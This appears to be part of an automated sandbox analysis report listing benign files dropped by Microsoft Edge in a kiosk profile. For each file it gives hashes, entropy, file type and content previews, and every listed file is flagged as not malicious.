Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAnmHk/diFCRpi+fsoinH/XEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACTBOgP+Yj8yeYxGPnwwREJE+WzDLFsJadELbhUfOZwhAAAAAAOgAAAAAIAACAAAABpYmQk/FhYVwQoxWklAOCbawUgGiPwnYnBktayJbRMKTAAAADPKnanVLbixm++Ju2yh2KGt3LV05yPzjX9WESAae5GdM5rb3gVI2Q7rgb9KsmoSp9AAAAAEPlqSHqY9tGNkhXkyiqT9acxD/os9iT6yegoE8ltb++5GQLdAH3twmrU23NuKJ7/OtC3/oVc1jbQf2lcGlZs3g=="},"profile":{"info_cache":{},"profile_counts_reported":"13369633755091019","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725160155"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF3b7d7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.513831201588747
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtV03WMFGCbXuOCdLqP2yikkJdXBuBuwBFaAkENhZmEjXWLQQRZ:YuBqDPafc3F5bXuOsOkXgBzBFfZ3j9B0
MD5:	C69BC30F6858B07FB35F391D0794724C
SHA1:	FA79454782A7BD0383DB3CF298AB6E2963BD1B66
SHA-256:	A91DD37D923F33C9A610A8A0D96A805796046111C6CAE0AC54E97ECA18700FED
SHA-512:	4AB9D667D6B894A0BF426EF31D9DD56A61BDDAE43CDF515283A008FFF4B91E6660CB04DFED1AC7E2EAC2AA36F27B05CB8FCF4214E96FAF7602844D3C2BCA0377
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAnmHk/diFCRpi+fsoinH/XEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACTBOgP+Yj8yeYxGPnwwREJE+WzDLFsJadELbhUfOZwhAAAAAAOgAAAAAIAACAAAABpYmQk/FhYVwQoxWklAOCbawUgGiPwnYnBktayJbRMKTAAAADPKnanVLbixm++Ju2yh2KGt3LV05yPzjX9WESAae5GdM5rb3gVI2Q7rgb9KsmoSp9AAAAAEPlqSHqY9tGNkhXkyiqT9acxD/os9iT6yegoE8ltb++5GQLdAH3twmrU23NuKJ7/OtC3/oVc1jbQf2lcGlZs3g=="},"profile":{"info_cache":{},"profile_counts_reported":"13369633755091019","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725160155"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF3b835.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.513831201588747
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtV03WMFGCbXuOCdLqP2yikkJdXBuBuwBFaAkENhZmEjXWLQQRZ:YuBqDPafc3F5bXuOsOkXgBzBFfZ3j9B0
MD5:	C69BC30F6858B07FB35F391D0794724C
SHA1:	FA79454782A7BD0383DB3CF298AB6E2963BD1B66
SHA-256:	A91DD37D923F33C9A610A8A0D96A805796046111C6CAE0AC54E97ECA18700FED
SHA-512:	4AB9D667D6B894A0BF426EF31D9DD56A61BDDAE43CDF515283A008FFF4B91E6660CB04DFED1AC7E2EAC2AA36F27B05CB8FCF4214E96FAF7602844D3C2BCA0377
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAnmHk/diFCRpi+fsoinH/XEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACTBOgP+Yj8yeYxGPnwwREJE+WzDLFsJadELbhUfOZwhAAAAAAOgAAAAAIAACAAAABpYmQk/FhYVwQoxWklAOCbawUgGiPwnYnBktayJbRMKTAAAADPKnanVLbixm++Ju2yh2KGt3LV05yPzjX9WESAae5GdM5rb3gVI2Q7rgb9KsmoSp9AAAAAEPlqSHqY9tGNkhXkyiqT9acxD/os9iT6yegoE8ltb++5GQLdAH3twmrU23NuKJ7/OtC3/oVc1jbQf2lcGlZs3g=="},"profile":{"info_cache":{},"profile_counts_reported":"13369633755091019","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725160155"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF3df45.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.513831201588747
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtV03WMFGCbXuOCdLqP2yikkJdXBuBuwBFaAkENhZmEjXWLQQRZ:YuBqDPafc3F5bXuOsOkXgBzBFfZ3j9B0
MD5:	C69BC30F6858B07FB35F391D0794724C
SHA1:	FA79454782A7BD0383DB3CF298AB6E2963BD1B66
SHA-256:	A91DD37D923F33C9A610A8A0D96A805796046111C6CAE0AC54E97ECA18700FED
SHA-512:	4AB9D667D6B894A0BF426EF31D9DD56A61BDDAE43CDF515283A008FFF4B91E6660CB04DFED1AC7E2EAC2AA36F27B05CB8FCF4214E96FAF7602844D3C2BCA0377
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAnmHk/diFCRpi+fsoinH/XEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACTBOgP+Yj8yeYxGPnwwREJE+WzDLFsJadELbhUfOZwhAAAAAAOgAAAAAIAACAAAABpYmQk/FhYVwQoxWklAOCbawUgGiPwnYnBktayJbRMKTAAAADPKnanVLbixm++Ju2yh2KGt3LV05yPzjX9WESAae5GdM5rb3gVI2Q7rgb9KsmoSp9AAAAAEPlqSHqY9tGNkhXkyiqT9acxD/os9iT6yegoE8ltb++5GQLdAH3twmrU23NuKJ7/OtC3/oVc1jbQf2lcGlZs3g=="},"profile":{"info_cache":{},"profile_counts_reported":"13369633755091019","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725160155"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF40868.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.513831201588747
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtV03WMFGCbXuOCdLqP2yikkJdXBuBuwBFaAkENhZmEjXWLQQRZ:YuBqDPafc3F5bXuOsOkXgBzBFfZ3j9B0
MD5:	C69BC30F6858B07FB35F391D0794724C
SHA1:	FA79454782A7BD0383DB3CF298AB6E2963BD1B66
SHA-256:	A91DD37D923F33C9A610A8A0D96A805796046111C6CAE0AC54E97ECA18700FED
SHA-512:	4AB9D667D6B894A0BF426EF31D9DD56A61BDDAE43CDF515283A008FFF4B91E6660CB04DFED1AC7E2EAC2AA36F27B05CB8FCF4214E96FAF7602844D3C2BCA0377
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAnmHk/diFCRpi+fsoinH/XEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACTBOgP+Yj8yeYxGPnwwREJE+WzDLFsJadELbhUfOZwhAAAAAAOgAAAAAIAACAAAABpYmQk/FhYVwQoxWklAOCbawUgGiPwnYnBktayJbRMKTAAAADPKnanVLbixm++Ju2yh2KGt3LV05yPzjX9WESAae5GdM5rb3gVI2Q7rgb9KsmoSp9AAAAAEPlqSHqY9tGNkhXkyiqT9acxD/os9iT6yegoE8ltb++5GQLdAH3twmrU23NuKJ7/OtC3/oVc1jbQf2lcGlZs3g=="},"profile":{"info_cache":{},"profile_counts_reported":"13369633755091019","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725160155"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF446f8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.513831201588747
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtV03WMFGCbXuOCdLqP2yikkJdXBuBuwBFaAkENhZmEjXWLQQRZ:YuBqDPafc3F5bXuOsOkXgBzBFfZ3j9B0
MD5:	C69BC30F6858B07FB35F391D0794724C
SHA1:	FA79454782A7BD0383DB3CF298AB6E2963BD1B66
SHA-256:	A91DD37D923F33C9A610A8A0D96A805796046111C6CAE0AC54E97ECA18700FED
SHA-512:	4AB9D667D6B894A0BF426EF31D9DD56A61BDDAE43CDF515283A008FFF4B91E6660CB04DFED1AC7E2EAC2AA36F27B05CB8FCF4214E96FAF7602844D3C2BCA0377
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAnmHk/diFCRpi+fsoinH/XEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACTBOgP+Yj8yeYxGPnwwREJE+WzDLFsJadELbhUfOZwhAAAAAAOgAAAAAIAACAAAABpYmQk/FhYVwQoxWklAOCbawUgGiPwnYnBktayJbRMKTAAAADPKnanVLbixm++Ju2yh2KGt3LV05yPzjX9WESAae5GdM5rb3gVI2Q7rgb9KsmoSp9AAAAAEPlqSHqY9tGNkhXkyiqT9acxD/os9iT6yegoE8ltb++5GQLdAH3twmrU23NuKJ7/OtC3/oVc1jbQf2lcGlZs3g=="},"profile":{"info_cache":{},"profile_counts_reported":"13369633755091019","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725160155"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.46731661083066856
Encrypted:	false
SSDEEP:	12:TL1QAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3is25q0S9K0xHZ75fOV:TLiOUOq0afDdWec9sJf5Q7J5fc
MD5:	E93ACF0820CA08E5A5D2D159729F70E3
SHA1:	2C1A4D4924B9AEC1A796F108607404B000877C5D
SHA-256:	F2267FDA7F45499F7A01186B75CEFB799F8D2BC97E2E9B5068952D477294302C
SHA-512:	3BF36C20E04DCF1C16DC794E272F82F68B0DE43F16B4A9746B63B6D6BBC953B00BD7111CDA7AFE85CEBB2C447145483A382B15E2B0A5B36026C3441635D4E50C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\ShaderCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\ShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\ShaderCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\ShaderCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\ShaderCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlcy+l/:Ls3cbl/
MD5:	55C9299241B4426602BE83F258D89169
SHA1:	3AF2CFE788A4B2B8EF97F7F27D58ED0129CFCBC4
SHA-256:	FBAFD8056830E1E4CABAB3404F31CC9AD2A6FA5F2276487171C1387A9B472B2D
SHA-512:	34F26DA15D325FC1095A3E5FCB69A437D45564E780DEA768CDCC4D7A0B73F3128BD886C5BBBA42F15196830583E7FD151E533E67C89AC974D125080A16D4E974
Malicious:	false
Preview:	........................................-..n../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\SmartScreen\RemoteData\customSynchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.922828737239167
Encrypted:	false
SSDEEP:	3:2NGw+K+:fwZ+
MD5:	7BAAFE811F480ACFCCCEE0D744355C79
SHA1:	24B89AE82313084BB8BBEB9AD98A550F41DF7B27
SHA-256:	D5743766AF0312C7B7728219FC24A03A4FB1C2A54A506F337953FBC2C1B847C7
SHA-512:	70FE1C197AF507CC0D65E99807D245C896A40A4271BA1121F9B621980877B43019E584C48780951FC1AD2A5D7D146FC6EA4678139A5B38F9B6F7A5F1E2E86BA3
Malicious:	false
Preview:	customSynchronousLookupUris_0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\SmartScreen\RemoteData\customSynchronousLookupUris_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	35302
Entropy (8bit):	7.99333285466604
Encrypted:	true
SSDEEP:	768:rRhaFePY38QBsj61g3g01LXoDGPpgb8KbMcnjrQCckBuJyqk3x8cBBT:rLP+TBK6ZQLXSsaMcnHQQcox80
MD5:	0E06E28C3536360DE3486B1A9E5195E8
SHA1:	EB768267F34EC16A6CCD1966DCA4C3C2870268AB
SHA-256:	F2658B1C913A96E75B45E6ADB464C8D796B34AC43BAF1635AA32E16D1752971C
SHA-512:	45F1E909599E2F63372867BC359CF72FD846619DFEB5359E52D5700E0B1BCFFE5FF07606511A3BFFDDD933A0507195439457E4E29A49EB6451F26186B7240041
Malicious:	false
Preview:	.......murmur3.....IN...9.......0..X..#l....C....]......pv..E..........,..?.N?....V..B-..F.1....g\|..._.>'.-(V... .=.7P.m....#}.r.....>.LE...G.A.h5........J..=..L^-.Zl++,..h..o.y..~j.]u...W...&s.........M..........h3b..[.5.]..V^w.........a....6g3..%.gy../{\|Z.B..X.}5.]..t.1.H&B.[.).$Y......2....L.t...{...[WE.yy.]..e.v0..\.J3..T.`1Lnh.../..-=w...W.&N7.nz.P...z......'i..R6....../....t.[..&-.....T&l..e....$.8.."....Iq....J.v..\|.6.M...zE...a9uw..'.$6.L..m$......NB).JL.G.7}8(`....J.)b.E.m...c.0I.V...\|$....;.k.......8v..l.:..@.F.........K..2...%(...kA......LJd~._A.N.....$3...5....Z"...X=.....%.........6.k.....F..1..l,ia..i.i....y.M..Cl........}.I..r..-+=b.6....%...#...W..K.....=.F....~.....[.......-...../;....~.09..d.....GR..H.lR...m.Huh9.:..A H./)..D.F..Y.n7.....7D.O.a;>Z.K....w...sq..qo3N...8@.zpD.Ku......+.Z=.zNFgP._@.z.ic.......3.....+..j...an%...X..7.q..A.l.7.S2..+....1.s.b..z...@v..!.y...N.C.XQ.p.\..x8(.<.....cq.(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	18
Entropy (8bit):	3.5724312513221195
Encrypted:	false
SSDEEP:	3:kDnaV6bVon:kDYa2
MD5:	5692162977B015E31D5F35F50EFAB9CF
SHA1:	705DC80E8B32AC8B68F7E13CF8A75DCCB251ED7D
SHA-256:	42CCB5159B168DBE5D5DDF026E5F7ED3DBF50873CFE47C7C3EF0677BB07B90D4
SHA-512:	32905A4CC5BCE0FE8502DDD32096F40106625218BEDC4E218A344225D6DF2595A7B70EEB3695DCEFDD894ECB2B66BED479654E8E07F02526648E07ACFE47838C
Malicious:	false
Preview:	edgeSettings_2.0-0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\SmartScreen\RemoteData\edgeSettings_2.0-0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3581
Entropy (8bit):	4.459693941095613
Encrypted:	false
SSDEEP:	96:JTMhnytNaSA4BOsNQNhnUZTFGKDIWHCgL5tfHaaJzRHF+P1sYmnfHUdT+GWBH7Y/:KyMot7vjFU
MD5:	BDE38FAE28EC415384B8CFE052306D6C
SHA1:	3019740AF622B58D573C00BF5C98DD77F3FBB5CD
SHA-256:	1F4542614473AE103A5EE3DEEEC61D033A40271CFF891AAA6797534E4DBB4D20
SHA-512:	9C369D69298EBF087412EDA782EE72AFE5448FD0D69EA5141C2744EA5F6C36CDF70A51845CDC174838BAC0ADABDFA70DF6AEDBF6E7867578AE7C4B7805A8B55E
Malicious:	false
Preview:	{"models":[],"geoidMaps":{"gw_my":"https://malaysia.smartscreen.microsoft.com/","gw_tw":"https://taiwan.smartscreen.microsoft.com/","gw_at":"https://austria.smartscreen.microsoft.com/","gw_es":"https://spain.smartscreen.microsoft.com/","gw_pl":"https://poland.smartscreen.microsoft.com/","gw_se":"https://sweden.smartscreen.microsoft.com/","gw_kr":"https://southkorea.smartscreen.microsoft.com/","gw_br":"https://brazil.smartscreen.microsoft.com/","au":"https://australia.smartscreen.microsoft.com/","dk":"https://denmark.smartscreen.microsoft.com/","gw_sg":"https://singapore.smartscreen.microsoft.com/","gw_fr":"https://france.smartscreen.microsoft.com/","gw_ca":"https://canada.smartscreen.microsoft.com/","test":"https://eu-9.smartscreen.microsoft.com/","gw_il":"https://israel.smartscreen.microsoft.com/","gw_au":"https://australia.smartscreen.microsoft.com/","gw_ffl4mod":"https://unitedstates4.ss.wd.microsoft.us/","gw_ffl4":"https://unitedstates1.ss.wd.microsoft.us/","gw_eu":"https://europe.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.493433469104717
Encrypted:	false
SSDEEP:	3:kfKbQSQSuLA5:kyUc5
MD5:	3F90757B200B52DCF5FDAC696EFD3D60
SHA1:	569A2E1BED9ECCDF7CD03E270AEF2BD7FF9B0E77
SHA-256:	1EE63F0A3502CFB7DF195FABBA41A7805008AB2CCCDAEB9AF990409D163D60C8
SHA-512:	39252BBAA33130DF50F36178A8EAB1D09165666D8A229FBB3495DD01CBE964F87CD2E6FCD479DFCA36BE06309EF18FEDA7F14722C57545203BBA24972D4835C8
Malicious:	false
Preview:	synchronousLookupUris_636976985063396749.rel.v2

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\SmartScreen\RemoteData\synchronousLookupUris_636976985063396749.rel.v2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	35302
Entropy (8bit):	7.99333285466604
Encrypted:	true
SSDEEP:	768:rRhaFePY38QBsj61g3g01LXoDGPpgb8KbMcnjrQCckBuJyqk3x8cBBT:rLP+TBK6ZQLXSsaMcnHQQcox80
MD5:	0E06E28C3536360DE3486B1A9E5195E8
SHA1:	EB768267F34EC16A6CCD1966DCA4C3C2870268AB
SHA-256:	F2658B1C913A96E75B45E6ADB464C8D796B34AC43BAF1635AA32E16D1752971C
SHA-512:	45F1E909599E2F63372867BC359CF72FD846619DFEB5359E52D5700E0B1BCFFE5FF07606511A3BFFDDD933A0507195439457E4E29A49EB6451F26186B7240041
Malicious:	false
Preview:	.......murmur3.....IN...9.......0..X..#l....C....]......pv..E..........,..?.N?....V..B-..F.1....g\|..._.>'.-(V... .=.7P.m....#}.r.....>.LE...G.A.h5........J..=..L^-.Zl++,..h..o.y..~j.]u...W...&s.........M..........h3b..[.5.]..V^w.........a....6g3..%.gy../{\|Z.B..X.}5.]..t.1.H&B.[.).$Y......2....L.t...{...[WE.yy.]..e.v0..\.J3..T.`1Lnh.../..-=w...W.&N7.nz.P...z......'i..R6....../....t.[..&-.....T&l..e....$.8.."....Iq....J.v..\|.6.M...zE...a9uw..'.$6.L..m$......NB).JL.G.7}8(`....J.)b.E.m...c.0I.V...\|$....;.k.......8v..l.:..@.F.........K..2...%(...kA......LJd~._A.N.....$3...5....Z"...X=.....%.........6.k.....F..1..l,ia..i.i....y.M..Cl........}.I..r..-+=b.6....%...#...W..K.....=.F....~.....[.......-...../;....~.09..d.....GR..H.lR...m.Huh9.:..A H./)..D.F..Y.n7.....7D.O.a;>Z.K....w...sq..qo3N...8@.zpD.Ku......+.Z=.zNFgP._@.z.ic.......3.....+..j...an%...X..7.q..A.l.7.S2..+....1.s.b..z...@v..!.y...N.C.XQ.p.\..x8(.<.....cq.(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	50
Entropy (8bit):	3.9904355005135823
Encrypted:	false
SSDEEP:	3:0xXF/XctY5GUf+:0RFeUf+
MD5:	E144AFBFB9EE10479AE2A9437D3FC9CA
SHA1:	5AAAC173107C688C06944D746394C21535B0514B
SHA-256:	EB28E8ED7C014F211BD81308853F407DF86AEBB5F80F8E4640C608CD772544C2
SHA-512:	837D15B3477C95D2D71391D677463A497D8D9FFBD7EB42E412DA262C9B5C82F22CE4338A0BEAA22C81A06ECA2DF7A9A98B7D61ECACE5F087912FD9BA7914AF3F
Malicious:	false
Preview:	topTraffic_170540185939602997400506234197983529371

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
